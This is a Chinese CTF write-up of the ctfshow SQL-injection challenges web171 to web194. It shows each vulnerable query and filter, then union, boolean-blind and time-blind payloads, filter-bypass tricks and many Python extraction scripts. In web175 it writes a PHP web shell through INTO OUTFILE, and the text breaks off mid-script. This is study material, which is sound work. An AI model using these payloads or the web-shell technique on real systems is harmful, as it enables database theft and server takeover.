前言
在这个专题的刷题过程中,主要参考了ctfshow题目所带的wp以及以下师傅的wp,以下是他们的link
b477eRy师傅:CTFSHOW WEB入门 SQL注入篇 - b477eRy - 博客园
My6n师傅:https://myon6.blog.csdn.net
web171
查询语句 //拼接sql语句查找指定ID用户 $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
没有过滤,永真条件把数据库拿出来
Payload:
1' OR '1' = '1web172
查询语句 //拼接sql语句查找指定ID用户 $sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;"; 返回逻辑 //检查结果是否有flag if($row->username!=='flag'){ $ret['msg']='查询成功'; }
无过滤,但限制username!='flag',直接查不可行,要用联合注入
1' order by 2 --+ #有回显
1' order by 3 --+ #无数据用户名处为“1”,密码处为“2”
-1' union select 1,2--+Payload:
库名
-1' union select 1,(select database()) --+
# ctfshow_web表名
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') --+
# ctfshow_user,ctfshow_user2字段
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user2') --+
# id,username,passwordflag
-1' union select 1,(select group_concat(password) from ctfshow_user2)--+
# 在最后一个web173
查询语句 //拼接sql语句查找指定ID用户 $sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;"; 返回逻辑 //检查结果是否有flag if(!preg_match('/flag/i', json_encode($ret))){ $ret['msg']='查询成功'; }
返回逻辑里新增:返回内容的username不包含flag才会返回查询成功,直接查所有字段自然没问题,不会被过滤
查回显位、库、表、字段不再赘述,此处多了一个回显位和表
Payload:
直接查password
-1' union select 1,(select group_concat(password) from ctfshow_user3),3--+
用户名不出现flag(用hex编码一下)
1' union select id,hex(username),password from ctfshow_user3 --+
替换flag(替换f为g)
-1' union select id,replace(username,'f','g'),password from ctfshow_user3 where username = 'flagweb174
//拼接sql语句查找指定ID用户 $sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;"; 返回逻辑 //检查结果是否有flag if(!preg_match('/flag|[0-9]/i', json_encode($ret))){ $ret['msg']='查询成功'; }
增加了新的正则,返回结果内不能有数字和flag,上面hex编码的方法失效,因为hex会出现数字
这里不想用题目给的输入框了,发现直接传参id无效,审计js发现查询接口应该是api/v4.php

在这个接口传id,方便我们抓包测试,这里考虑盲注,先去试有没有不同回显
/api/v4.php?id=1'%20and%201=1%20--+回显:
{
"code": 0,
"msg": "\u67e5\u8be2\u6210\u529f",
"count": 1,
"data": [{ "username": "admin", "password": "admin" }]
}
/api/v4.php?id=1'%20and%201=2%20--+回显:
{ "code": 0, "msg": "\u67e5\u8be2\u5931\u8d25", "count": 1, "data": [] }于是找到了真假条件的不同回显,and后替换盲注语句就可以根据回显判断真假了
1' and 1=1=if(ascii(substr((select password from ctfshow_user4 limit 24,1),3,1))>100,1,0) --+
#条件为真 有数据 返回了admin admin
1' and 1=1=if(ascii(substr((select password from ctfshow_user4 limit 24,1),3,1))<100,1,0) --+
#条件为假 无数据 无回显附上脚本:
原文链接:https://blog.csdn.net/solitudi/article/details/110144623
# @Author:Y4tacker
import requests
url = "http://e076200d-5e74-4121-b2fc-04153243f7a3.chall.ctf.show/api/v4.php?id=1' and "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'1=if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- -'
r = requests.get(url + payload)
if "admin" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result) 另解:
用replace函数替换数字
REPLACE() :将字符串中所有出现的子字符串替换为新的子字符串。
注意:此函数执行区分大小写的替换。
语法:
REPLACE(string, substring, new_string)Payload:
0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+得到的字符串再用脚本还原:
def rev_replace(txt):
repl = {
'A': '1',
'B': '2',
'C': '3',
'D': '4',
'E': '5',
'F': '6',
'G': '7',
'H': '8',
'I': '9',
'J': '0'
}
for k, v in repl.items():
txt = txt.replace(k, v)
return txt
txt = input("输入:")
out = rev_replace(txt)
print("替换后: ", out)web175
查询语句 //拼接sql语句查找指定ID用户 $sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;"; 返回逻辑 //检查结果是否有flag if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){ $ret['msg']='查询成功'; }
正则过滤了所有ascii字符
这一篇讲了时间盲注的方法:https://blog.csdn.net/Myon5/article/details/140819830
import requests import string url = 'http://2e5bbcf3-38df-43a5-b8a5-710f30ae9957.challenge.ctf.show/api/v5.php' dic = string.ascii_lowercase + string.digits + '_-{}' out = '' for j in range(1, 100): a = 1 #设置一个标志位,用来判断是否已经猜到了最后一位 for k in dic: # payload = f"id=1' and if(substr(database(),{j},1)='{k}',sleep(3),0) --+&page=1&limit=10" # 猜数据库名 # payload = f"id=1' and if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" #猜表名 # payload = f"id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" #猜表名 # payload = f"id=1' and if(substr((select column_name from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user5' limit 2, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" # 猜列名 payload = f"id=1' and if(substr((select password from ctfshow_web.ctfshow_user5 where username='flag'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" # 猜具体字段 # print(payload) re = requests.get(url, params=payload) time = re.elapsed.total_seconds() # print(f"{j}:{time}") if time > 2: print(k) a = 0 #如果找到字符,则将标志位置0 out += k break #跳出内层的for循环,继续遍历下一位 if a == 1: #在进行下一次循环前,先判断当前字符是否找到 break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符 print(out)
这里into outfile外带查询的数据出来
-1' union select username,password from ctfshow_user5 into outfile "/var/www/html/a.txt"--+
into outfile也能用来写马
-1' union select 1,"<?php eval($_POST[1]);?>" into outfile '/var/www/html/sh.php' --+连接不上可以选择勾选“忽略HTTPS证书”

这里要读数据库,需要用到蚁剑的“数据操作”功能

至于账号密码怎么来的,我们连上🐎之后能进api的文件夹了,里面有config.php

后面就是测库连库查flag了
web176
查询语句 //拼接sql语句查找指定ID用户 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;"; 返回逻辑 //对传入的参数进行了过滤 function waf($str){ //代码过于简单,不宜展示 }
永真条件就判断所有都是对的了
Payload:
-1' or 1=1 %23另解:
手测发现三个回显位,执行联合查询查不了,测试发现ban了select大写过滤就行Select
Payload:
?id=1' union Select 1,(Select group_concat(schema_name) from information_schema.schemata),database() --+
?id=-1' union Select 1,(Select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),3 --+
?id=-1' union Select 1,(Select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'),3 --+
?id=-1' union Select 1,(Select group_concat(password) from ctfshow_web.ctfshow_user),3--+web177
查询语句 //拼接sql语句查找指定ID用户 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;"; 返回逻辑 //对传入的参数进行了过滤 function waf($str){ //代码过于简单,不宜展示 }
永真条件也能注出来,这里过滤了空格,用/**/代替
这里的注释符"--+"最后的加号指代的是空格,但是这里ban了空格,用%23代替--+
?id=1'/**/order/**/by/**/3%23
?id=-1'/**/union/**/select/**/1,(select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),database()%23
?id=-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctfshow_web'),3%23
?id=-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='ctfshow_web'/**/and/**/table_name='ctfshow_user'),3%23
?id=-1'/**/union/**/select/**/1,(select/**/group_concat(password)/**/from/**/ctfshow_web.ctfshow_user),3%23web178
查询语句 //拼接sql语句查找指定ID用户 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;"; 返回逻辑 //对传入的参数进行了过滤 function waf($str){ //代码过于简单,不宜展示 }
仍然是过滤空格,但是上一题的/**/代替空格不可行了,用%09(水平制表符Tab),或者%0b(垂直制表符,换行)
Payload:
?id=1'%09order%09by%093%23
?id=-1'%09union%09select%091,(select%09group_concat(schema_name)%09from%09information_schema.schemata),database()%23
?id=-1'%09union%09select%091,(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='ctfshow_web'),3%23
?id=-1'%09union%09select%091,(select%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema='ctfshow_web'%09and%09table_name='ctfshow_user'),3%23
?id=-1'%09union%09select%091,(select%09group_concat(password)%09from%09ctfshow_web.ctfshow_user),3%23web179
查询语句 //拼接sql语句查找指定ID用户 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;"; 返回逻辑 //对传入的参数进行了过滤 function waf($str){ //代码过于简单,不宜展示 }
依然过滤空格,换成%0c(换页符)即可
payload:
?id=1'%0corder%0cby%0c3%23
?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(schema_name)%0cfrom%0cinformation_schema.schemata),database()%23
?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'),3%23
?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema='ctfshow_web'%0cand%0ctable_name='ctfshow_user'),3%23
?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(password)%0cfrom%0cctfshow_web.ctfshow_user),3%23web180
查询语句 //拼接sql语句查找指定ID用户 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;"; 返回逻辑 //对传入的参数进行了过滤 function waf($str){ //代码过于简单,不宜展示 }
过滤空格的绕过方法同上题,但是此处过滤了#和%23(#),换成另一种注释方法--+,但由于+其实替代的是空格,这里+绕不过,于是换成--%0c
Payload:
?id=1'%0corder%0cby%0c3--%0c
?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(schema_name)%0cfrom%0cinformation_schema.schemata),database()--%0c
?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'),3--%0c
?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema='ctfshow_web'%0cand%0ctable_name='ctfshow_user'),3--%0c
?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(password)%0cfrom%0cctfshow_web.ctfshow_user),3--%0cweb181
查询语句 //拼接sql语句查找指定ID用户 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;"; 返回逻辑 //对传入的参数进行了过滤 function waf($str){ return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str); }
Payload:
999'or`username`='flag规避匹配原则:对于preg_match返回值结果定义为0,1,即(未匹配,匹配)
web182
查询语句 //拼接sql语句查找指定ID用户 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;"; 返回逻辑 //对传入的参数进行了过滤 function waf($str){ return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str); }
这里给出了waf的名单,没有空格和select可用了,flag也被ban了,要考虑对查询语句动手了
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";利用逻辑运算的优先级构造 and 语句,绕过查询语句前面的
username != flag
Payload:
0'or(id=26)and'1
->
select id,username,password from ctfshow_user where username !='flag' and id = '0'or(id=26)and'1' limit 1;
-- 前面id=0不匹配,则会匹配id=26,and'1'恒真,无影响
-- limit 1只返回一条数据
最后变成这样并执行->
SELECT id, username, password FROM ctfshow_user WHERE username != 'flag' AND id = 26 LIMIT 1;另解:
万能密码:1'||1--%0c,用管道符连接恒真条件(%0c可以换成%01~%08任意一个)
直接查询:0'||%0cusername%0clike'f%,管道符连接查询语句,like相当于=,%是通配符,相当于*,此外_也是通配符,相当于?
web183
查询语句 //拼接sql语句查找指定ID用户 $sql = "select count(pass) from ".$_POST['tableName'].";"; 返回逻辑 //对传入的参数进行了过滤 function waf($str){ return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str); } 查询结果 //返回用户表的记录总数 $user_count = 0;
Post给一个名字进去,他会返回记录的总数,过滤了空格,用括号代替
如:
tableName=ctfshow_user
->
$user_count = 22;tableName=(ctfshow_user)where(pass)like'ctfshow{%'
->
select count(pass) from (ctfshow_user)where(pass)like'ctfshow{%'
-- 会回显 $user_count = 1
-- 这里我的hackbar会传不动post数据,问题在%处,不明原因
如果我们匹配一个不存在的字段
tableName=(ctfshow_user)where(pass)like'ctfshow{1'
->
--回显: $user_count = 0;这里就能发现规律了,存在即为1,不存在即为0,就可以进行布尔盲注了
import requests
import string
url = 'http://e47ac12c-7838-4368-b1a2-3e4ef28ba073.challenge.ctf.show/select-waf.php'
dic = string.digits+string.ascii_lowercase+'-{}' # flag可能的字符:数字字母-{}
# print(dic)
out = 'ctfshow{' # 已经确定的部分:flag头
for j in range(0, 50): # 为了确保flag完整输出,范围尽量大一点,观察到flag完全输出后结束运行即可
for k in dic:
payload = {'tableName': f"(ctfshow_user)where(pass)like'{out+k}%'"} # 将每次更新后的out加上我们新增的一个猜测字符添加到payload
# print(payload)
re = requests.post(url, data=payload)
# print(re.text)
if '$user_count = 1;' in re.text:
print(k)
out += k
break # 回显1说明我们猜正确了,跳出内层循环,继续猜下一位
print(out)web184
查询语句 //拼接sql语句查找指定ID用户 $sql = "select count(*) from ".$_POST['tableName'].";"; 返回逻辑 //对传入的参数进行了过滤 function waf($str){ return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str); } 查询结果 //返回用户表的记录总数 $user_count = 0;
过滤掉了where,用having代替,把空格放出来了,引号被过滤了
having 是从前筛选的字段再筛选,而 where 是从数据表中的字段直接进行的筛选的。
已经筛选出字段的话,having和where等效。
如果没有select出字段的话,having会报错
为了让 HAVING 能够生效,必须配合 GROUP BY 使用,用十六进制代替引号(需要加上0x)代表十六进制的前缀
把引号去掉直接十六进制内容
tableName= ctfshow_user GROUP BY pass HAVING pass LIKE 0x63746673686f777b25对上面脚本进行修改:
import requests
import string
url = 'http://3dabb856-2ef4-4797-8ef5-5df6faace1fd.challenge.ctf.show/select-waf.php'
# 将原始字符转换为对应的十六进制值
dic = [hex(ord(c))[2:] for c in (string.digits + string.ascii_lowercase + '-{}')]
out = '0x63746673686f777b' # 已经确定的部分:flag头
for j in range(0, 50): # 为了确保flag完整输出,范围尽量大一点
for k in dic:
payload = {'tableName': f"ctfshow_user group by pass having pass like {out+k}25"}
re = requests.post(url, data=payload)
if '$user_count = 1;' in re.text:
print(k)
out += k
break
print(out) # 最后自己解一下十六进制即为答案另解:right/left/inner join代替where
参考文章:https://www.cnblogs.com/recharging-runtime/p/15077477.html
import string
import requests
url = "http://89463a4c-73a0-4eb7-bc52-ed12c47bf60b.challenge.ctf.show:8080/select-waf.php"payload = "ctfshow_user as a right join ctfshow_user as b on b.pass regexp(0x{})"true_flag = "$user_count = 43;"def make_payload(has: str) -> str:
return payload.format((has).encode().hex())
def valid_payload(p: str) -> bool:
data = {
"tableName": p
}
response = requests.post(url, data=data)
return true_flag in response.text
flag = "ctf" # 这里注意表中用 regexp('ctf') 只有一个结果,要提前给出这一小段 flag 头避免其他记录干扰匹配while True:
for c in "{}-" + string.digits + string.ascii_lowercase:
pd = flag+c
print(f"\r[*] trying {pd}", end="")
if valid_payload(make_payload(pd)):
flag += c
print(f"\r[*] flag: {flag}")
break if flag[-1] == "}":
breakweb185
查询语句 //拼接sql语句查找指定ID用户 $sql = "select count(*) from ".$_POST['tableName'].";"; 返回逻辑 //对传入的参数进行了过滤 function waf($str){ return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str); } 查询结果 //返回用户表的记录总数 $user_count = 0;
数字被ban了,但是用concat结合true可以拼出数字。逗号分隔每一位

附盲注布尔值
附上羽师傅的脚本:
# author: yu22x
import requests
import string
# 注入目标 URL
url = "http://8319afbf-281c-4a73-b14e-a29426d0e556.challenge.ctf.show/select-waf.php"
# flag 可能包含的字符集合:十六进制字符 + 特殊符号 -, {, }
s = '0123456789abcdef-{}'
def convert(strs):
# 将字符串转换为 SQL 中由 TRUE 运算构成的 CHAR 表达式。
t = 'concat(' # 使用 concat 拼接多个 char 字符
for s_char in strs:
# 构造 char(TRUE + TRUE + ...),次数等于字符的 ASCII 码值
t += 'char(true' + '+true' * (ord(s_char) - 1) + '),'
return t[:-1] + ")" # 去掉最后一个逗号并闭合 concat
flag = '' # 存储已猜解出的 flag
# 循环猜测 flag 的每一位(最多猜测 45 位)
for i in range(1, 45):
print(i) # 输出当前猜测第几位
for j in s: # 遍历可能字符尝试匹配
# 构造正则表达式 ^ctfshow{已猜出的部分 + 当前猜测字符}
d = convert(f'^ctfshow{flag + j}')
# 构造 POST 请求参数
data = {
'tableName': f' ctfshow_user group by pass having pass regexp({d})'
}
# 发送请求
r = requests.post(url, data=data)
# 如果响应中出现 user_count = 1,说明匹配成功
if "user_count = 1" in r.text:
flag += j # 添加当前字符到 flag
print(flag) # 输出当前 flag
# 如果遇到结束符 },认为 flag 已获取完整,退出程序
if j == '}':
exit(0)
break # 匹配成功,跳出内层循环,继续下一位猜测web186
查询语句 //拼接sql语句查找指定ID用户 $sql = "select count(*) from ".$_POST['tableName'].";"; 返回逻辑 //对传入的参数进行了过滤 function waf($str){ return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str); } 查询结果 //返回用户表的记录总数 $user_count = 0;
新增过滤了一些符号,但是上一题脚本仍然可用
另解:可以用 regexp 正则表达式来进行匹配
用法:
regexp(^c),第一个字符是“c”
比较麻烦,具体步骤见:https://blog.csdn.net/Myon5/article/details/140936579
web187
查询语句 //拼接sql语句查找指定ID用户 $sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'"; 返回逻辑 $username = $_POST['username']; $password = md5($_POST['password'],true); //只有admin可以获得flag if($username!='admin'){ $ret['msg']='用户名不存在'; die(json_encode($ret)); }
查看源码得知username和passwd的接收方式
$username = $_POST['username'];
$password = md5($_POST['password'],true);md5加密也有一个奇妙的字符串:ffifdyop
这个字符串被md5加密后会变成:276f722736c95d99e921722cf9ed621c
加密后的字符串被hex解码后会变成:'or'6É]é!r,ùíb
去掉乱码,真正传入的只剩下:'or'6,原理就是永真条件
登录后能看到api/返回了flag

web188
查询语句 //拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = {$username}"; 返回逻辑 //用户名检测 if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } //密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); } //密码判断 if($row['pass']==intval($password)){ $ret['msg']='登陆成功'; array_push($ret['data'], array('flag'=>$flag)); }
username判断:在sql查询中,当列的类型为 string 时,在查询限制条件中使用数字会将字符串转为数字进行比较,非数字开头的字符串会被转化为数字 0
password判断:这里是弱比较,如果弱比较的一边的第一位是字母,它的值就会被强制转换为数字“0”。是数字开头则以到非数字前的数字作为其值。
Payload:
username=0
password=0
# 尝试登录一个账号密码开头均为字母的账号仍然在api/返回数据中找到flag
web189
查询语句 //拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = {$username}"; 返回逻辑 //用户名检测 if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } //密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); } //密码判断 if($row['pass']==$password){ $ret['msg']='登陆成功'; }
flag在api/index.php文件中
过滤比较多,联合注入和时间盲注都不可用了
尝试爱上一题打法
username=0
password=0
->密码错误
username=1
password=0
->查询失败也就是username查询的内容存在才会爆密码错误,不存在则会爆查询失败,符合布尔盲注的前提
这里password限制了只能数字,所以这里用username来注
羽师傅的脚本:
#author:yu22x
import requests
import string
url="http://566df5e6-33d0-415f-99e8-3b28a149e67f.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
for i in range(1,1000):
print(i)
for j in range(32,128):
#print(chr(j))
data={'username':f"if(ascii(substr(load_file('/var/www/html/api/index.php'),{i},1))={j},1,0)",
'password':'1'}
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("\\u67e5\\u8be2\\u5931\\u8d25" in r.text):
flag+=chr(j)
print(flag)
breakweb190
查询语句 //拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = '{$username}'"; 返回逻辑 //密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); } //密码判断 if($row['pass']==$password){ $ret['msg']='登陆成功'; } //TODO:感觉少了个啥,奇怪
比上一题少给出了username的判断逻辑,同样的,在username不同的情况下出现了两种回显,符合布尔盲注的前提
import requests
import string
url = "http://55420a88-20cf-4283-a564-9ac21e281125.challenge.ctf.show/api/index.php"
out = ''
for j in range(1, 50):
print(j)
for k in range(32, 128):
data = {
#'username': f"0'||if(ascii(substr(database(),{j},1))={k},1,0)#", #数据库名
#'username': f"0'||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1))={k},1,0)#",#表名
#'username': f"0'||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{j},1))={k},1,0)#",#列名
'username': f"0'||if(ascii(substr((select f1ag from ctfshow_fl0g),{j},1))={k},1,0)#",#字段
'password': '1'
}
re = requests.post(url, data=data)
if ("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
out += chr(k)
print(out)
breakweb191
查询语句 //拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = '{$username}'"; 返回逻辑 //密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); } //密码判断 if($row['pass']==$password){ $ret['msg']='登陆成功'; } //TODO:感觉少了个啥,奇怪 if(preg_match('/file|into|ascii/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); }
ban掉了ascii盲注,可以用ord代替
ord:将字符转换为其对应的 ASCII 码值。
import requests
import string
url = "http://6304ee7e-76c4-426e-ae85-924e412830b9.challenge.ctf.show/api/index.php"
out = ''
for j in range(1, 50):
print(j)
for k in range(32, 128):
# 猜解数据库名
data = {
# 'username': f"0'||if(ord(substr(database(),{j},1))={k},1,0)#",
# 'username': f"0'||if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1))={k},1,0)#",
# 'username': f"0'||if(ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{j},1))={k},1,0)#",
'username': f"0'||if(ord(substr((select f1ag from ctfshow_fl0g),{j},1))={k},1,0)#",
'password': '1'
}
re = requests.post(url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in re.text:
out += chr(k)
print(out)
break另解:
不用 ascii 也可以直接用大于号比较字母的 ascii 大小
# 用了二分法 dejavu~~~
import requests
url = "http://6304ee7e-76c4-426e-ae85-924e412830b9.challenge.ctf.show/api/index.php"
# 表名 CtFsHOw{FL0G,CtFsHOw{usEr
# payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- "
# 列名 ID,F1AG,ID,usErNAME,pAss
# payload = "0' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0) -- "
# flag
payload = "0' or if(substr((select f1ag from ctfshow_fl0g),{},1)>'{}',1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef" # “密码错误” 标识符
result = ""
index = 1
while True:
start = 32
end = 127
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": payload.format(index, chr(p)),
"password": 0
}
response = None
while True:
try:
response = requests.post(url, data=data)
except:
continue
break
if true_flag in response.text:
start = p
else:
end = p
if end < start:
end = start
result += chr(end)
print(f"[*] result: {result}")
index += 1web192
查询语句 //拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = '{$username}'"; 返回逻辑 //密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); } //密码判断 if($row['pass']==$password){ $ret['msg']='登陆成功'; } //TODO:感觉少了个啥,奇怪 if(preg_match('/file|into|ascii|ord|hex/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); }
ord也被ban了,用web191那个另解的二分法脚本能跑出来
也可以直接爆字符
import requests
url = "http://c7b89989-5634-40e7-8c57-57e0ed663dee.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz'
for j in range(1, 50):
print(j)
for k in dic:
data = {
'username': f"0'||if(substr((select f1ag from ctfshow_fl0g),{j},1)='{k}',1,0)#",
'password': '1'
}
re = requests.post(url, data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
out += k
print(out)
breakweb193
查询语句 //拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = '{$username}'"; 返回逻辑 //密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); } //密码判断 if($row['pass']==$password){ $ret['msg']='登陆成功'; } //TODO:感觉少了个啥,奇怪 if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); }
substr被ban了,它的作用主要是从字符串中截取出字符,找一个可代替函数。
mid是与substr用法相似的函数,它的作用与substr相似,改一改前面的脚本就行
MID(str, start, length)从指定位置开始截取指定长度字符(不支持负数索引)。
SELECT MID('Hello World', 7, 5); -- 输出 'World'
import requests
url = "http://7b01f424-808c-4957-9c17-b8612f0163ef.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz_'
for j in range(1, 50):
print(j)
for k in dic:
# 查数据库名
# data = {
# 'username': f"0'||if(mid(database(),{j},1)='{k}',1,0)#",
# 'password': '1'
# }
# 查表名
# data = {
# 'username': f"0'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{j},1))='{k}',1,0)#",
# 'password': '1'
# }
# 查列名
# data = {
# 'username': f"0'||if((mid((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flxg'),{j},1))='{k}',1,0)#",
# 'password': '1'
# }
# 查具体字段
data = {
'username': f"0'||if((mid((select f1ag from ctfshow_flxg),{j},1))='{k}',1,0)#",
'password': '1'
}
re = requests.post(url, data=data)
if ("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
out += k
print(out)
break另解:leftright函数也能替代substr的功能,只不过输出方式有些不一样
替换上面脚本对应部分(主要注意left和right输出方向是相反的,因此输出部分需要改一改):
# left
data = {
'username': f"0'||if((left((select f1ag from ctfshow_flxg),{j}))='{out+k}',1,0)#",
'password': '1'
}
re = requests.post(url, data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
out += k
print(out)
break
# right
data = {
'username': f"0'||if((right((select f1ag from ctfshow_flxg),{j}))='{k+out}',1,0)#",
'password': '1'
}
re = requests.post(url, data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
out = k + out
print(out)
break
web194
查询语句 //拼接sql语句查找指定ID用户 $sql = "select pass from ctfshow_user where username = '{$username}'"; 返回逻辑 //密码检测 if(!is_numeric($password)){ $ret['msg']='密码只能为数字'; die(json_encode($ret)); } //密码判断 if($row['pass']==$password){ $ret['msg']='登陆成功'; } //TODO:感觉少了个啥,奇怪 if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); }
left、right、substring被ban了
了解
lpad和rpad用法:
s2参数是非必需的,如果我们不写s2参数,那其实就能当
left、right用
修改上面的脚本,如下:
import requests
url = "http://77af10f7-8d34-4971-b9d4-4b191a7fafb8.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz_'
for j in range(1, 50):
print(j)
for k in dic:
# 查数据库名
# data = {
# 'username': f"0'||if(mid(database(),{j},1)='{k}',1,0)#",
# 'password': '1'
# }
# 查表名
# data = {
